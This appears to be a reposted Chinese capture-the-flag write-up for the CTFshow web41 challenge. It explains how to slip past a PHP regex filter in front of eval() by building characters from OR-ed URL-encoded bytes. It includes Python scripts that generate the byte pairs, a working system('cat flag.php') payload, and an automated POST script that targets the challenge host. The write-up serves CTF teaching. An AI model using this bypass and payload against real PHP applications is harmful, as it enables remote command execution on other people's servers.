CTFshow wbe41 教你写脚本
這道題確實(shí)難,查了很多個(gè)大佬的題解,發(fā)現(xiàn)這道題考察的是或運(yùn)算生成字符,但是過了n篇文章發(fā)現(xiàn)全是直接用羽師傅的腳本,沒有人說這個(gè)腳本是怎么運(yùn)行的,莫名其妙就出結(jié)果,腦瓜嗡嗡,可能大佬們默認(rèn)這腳本大家一看就會(huì)用吧,小白只能自己研究了,于是我研究了羽師傅的腳本,自己仿照寫了一個(gè)!
目錄
web41
代碼分析:
第一步:通過或運(yùn)算構(gòu)造字符
python代碼
分析
運(yùn)行結(jié)果
第二步:構(gòu)造payload
python代碼
分析
第三步提交payload
運(yùn)行結(jié)果
payload?:
結(jié)果
附加步驟自動(dòng)化腳本
flag:
web41
代碼分析:
$c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");首先是POST方法傳遞參數(shù),其次過濾了基本上所有的可見字符,但是沒有過濾或運(yùn)算符|和雙引號(hào)”,所以可以使用或運(yùn)算構(gòu)造字符
第一步:通過或運(yùn)算構(gòu)造字符
url編碼:對(duì)于服務(wù)器而言,編碼前后的字符串并沒有什么區(qū)別,服務(wù)器能夠自動(dòng)識(shí)別。其實(shí)url編碼就是一個(gè)字符ascii的十六進(jìn)制,不過稍微有些變動(dòng),需要在前面加上“%”,即ascii轉(zhuǎn)成十六進(jìn)制加上%就是url編碼,但是url還包括許多ascii中沒有的字符
或運(yùn)算:10000 與00001或運(yùn)算后結(jié)果為10001,即有1為1
構(gòu)造字符:因?yàn)檫^濾了大部分可見字符,為了使用這些可見字符我們可以使用
“不可見字符”|“不可見字符”=可見字符的方法,即“未過濾字符|未過濾字符”=“過濾的字符”
使用這種方法來繞過過濾,所以第一步就是找到這種未過濾字符
python代碼
import re import urllib from urllib import parse pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' for i in range(256):for j in range(256):if re.search(pattern, chr(i)):breakif re.search(pattern, chr(j)):continueif i < 16:hex_i = "0" + hex(i)[2:]else:hex_i = hex(i)[2:]if j < 16:hex_j = "0" + hex(j)[2:]else:hex_j = hex(j)[2:]hex_i = '%' + hex_ihex_j = '%' + hex_jc = chr(ord(urllib.parse.unquote(hex_i)) | ord(urllib.parse.unquote(hex_j)))if (c == 's'):print(hex_i, hex_j);分析
看上去很長(zhǎng),其實(shí)不難,一行一行分析
首先url編碼的范圍大概在0-256(十進(jìn)制),通過兩層循環(huán)
i為未過濾字符1?
j為未過濾字符2
pattern是題目中過濾的內(nèi)容,前面提到i與j是未過濾的字符,所以我們要把過濾的字符剔除
?
re.search是python中正則匹配函數(shù),其中第一個(gè)參數(shù)為正則表達(dá)式,第二個(gè)參數(shù)是要匹配的字符,如果匹配則返回匹配的位置
因?yàn)檫^濾的字符都是可見字符,且都存在ascii編碼,可以直接將i,j當(dāng)作ascii,利用chr函數(shù)轉(zhuǎn)為字符
因?yàn)槭请p層循環(huán),所以當(dāng)i是可見字符時(shí)直接跳過第二層循環(huán),當(dāng)j是可見字符時(shí)跳過該次循環(huán)(這塊不理解先去學(xué)python吧)
接下來就是轉(zhuǎn)換成url編碼,就是%16進(jìn)制
?
因?yàn)閜ython中hex()函數(shù)返回值為0x+十六進(jìn)制,但url編碼中沒有0x所以使用[2:]截取0x后面的內(nèi)容
當(dāng)i,j<16時(shí)如4 hex(4)=0x4,但url編碼應(yīng)該為%04所以在hex()[2:0]前面加字符"0"
最后在數(shù)字前面加'%'轉(zhuǎn)換為url編碼
到這里就是用來篩選可以組合成我們需要字符的兩個(gè)未知字符的url了
python中 |運(yùn)算只能使用數(shù)字,所以我們先將url編碼解碼,再使用ord函數(shù)將解出來的字符轉(zhuǎn)回ascii,之后進(jìn)行或運(yùn)算,運(yùn)算后將結(jié)果使用chr函數(shù)轉(zhuǎn)回字符
判斷或運(yùn)算得到的字符是否是我們需要的字符,這里使用的是s,如果是則輸出兩個(gè)未知字符的url編碼
運(yùn)行結(jié)果
很多的,只展示一部分
這幾組url編碼進(jìn)行或運(yùn)算都能得到字符s
即s=url解碼(%13|%60)
第二步:構(gòu)造payload
如構(gòu)造一個(gè)system('ls')
這里有兩個(gè)知識(shí)點(diǎn):
①system('ls')與(system)('ls')是一樣的都可以執(zhí)行
②要使用或運(yùn)算構(gòu)造字符串時(shí)應(yīng)將所有如剛才提到的未知字符1拼接到一起|未知字符2拼接到一起
說起來很抽象,舉個(gè)例子
system=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")
其中%13|%60=s? ? ?%19|%60=y? ? ? %14|%60=t
很明顯可以看出來就是將前半部分組合到一起 | 后半部分組合到一起
python代碼
import re import urllib from urllib import parse hex_i = "" hex_j = "" pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' str1=["system","ls"] for p in range(2):t1 = ""t2 = ""for k in str1[p]:for i in range(256):for j in range(256):if re.search(pattern,chr(i)) :breakif re.search(pattern,chr(j)) :continueif i < 16:hex_i = "0" + hex(i)[2:]else:hex_i=hex(i)[2:]if j < 16:hex_j="0"+hex(j)[2:]else:hex_j=hex(j)[2:]hex_i='%'+hex_ihex_j='%'+hex_jc=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))if(c ==k):t1=t1+hex_it2=t2+hex_jbreakelse:continuebreakprint("(\""+t1+"\"|\""+t2+"\")")分析
?這里是我們要構(gòu)造的字符串 system 和 ls
p是用來控制字符串個(gè)數(shù),兩個(gè)字符串
t1和t2是用來接收每個(gè)字符的前半部分和后半部分
k是用來循環(huán)匹配每一個(gè)字符
?
當(dāng)匹配上后,將前半部分加到t1 后半部分加到t2
每次循環(huán)完一個(gè)字符串后輸出構(gòu)造好的結(jié)果,將兩個(gè)構(gòu)造好的字符串拼接,用post方法傳入即可看到結(jié)果
第三步提交payload
運(yùn)行結(jié)果
?上面的是system 下面的是ls
用bp提交一下,注意hackbar提交會(huì)被再次編碼看不到結(jié)果
記得沒有換行哈,python出來是換行的
用重發(fā)器發(fā)送一下
看到ls已經(jīng)被執(zhí)行了,接下來就是把ls換成cat flag.php
payload?:
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")結(jié)果
附加步驟自動(dòng)化腳本
到這一步其實(shí)就是用python主動(dòng)提交payload
payload=payload+("(\""+t1+"\"|\""+t2+"\")") print(payload) data={"c":urllib.parse.unquote(payload) } url="http://ae1911ce-91da-4b6c-94b2-c7a618ea88de.challenge.ctf.show/" re=requests.post(url,data=data) print(re.text)?就是將結(jié)果在python中拼接用requests.post發(fā)送,最后把返回結(jié)果打印一下
注意因?yàn)榘l(fā)送過程中會(huì)再次url編碼一次所以發(fā)送前應(yīng)該先url解碼一次,當(dāng)然因?yàn)閨沒有執(zhí)行所以不會(huì)解成過濾字符
運(yùn)行結(jié)果
flag:
ctfshow{4d245c9f-6fa0-4dd3-967a-b4ae29aaf846}
?到這里就結(jié)束啦,相信大家也理解一點(diǎn)了,自己動(dòng)手寫一寫吧!共勉!
總結(jié)
以上是生活随笔為你收集整理的CTFshow wbe41 教你写脚本的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: rust卡领地柜权限_RFID智能医疗耗
- 下一篇: 计算机沟通方式,雅思阅读练习:计算机改变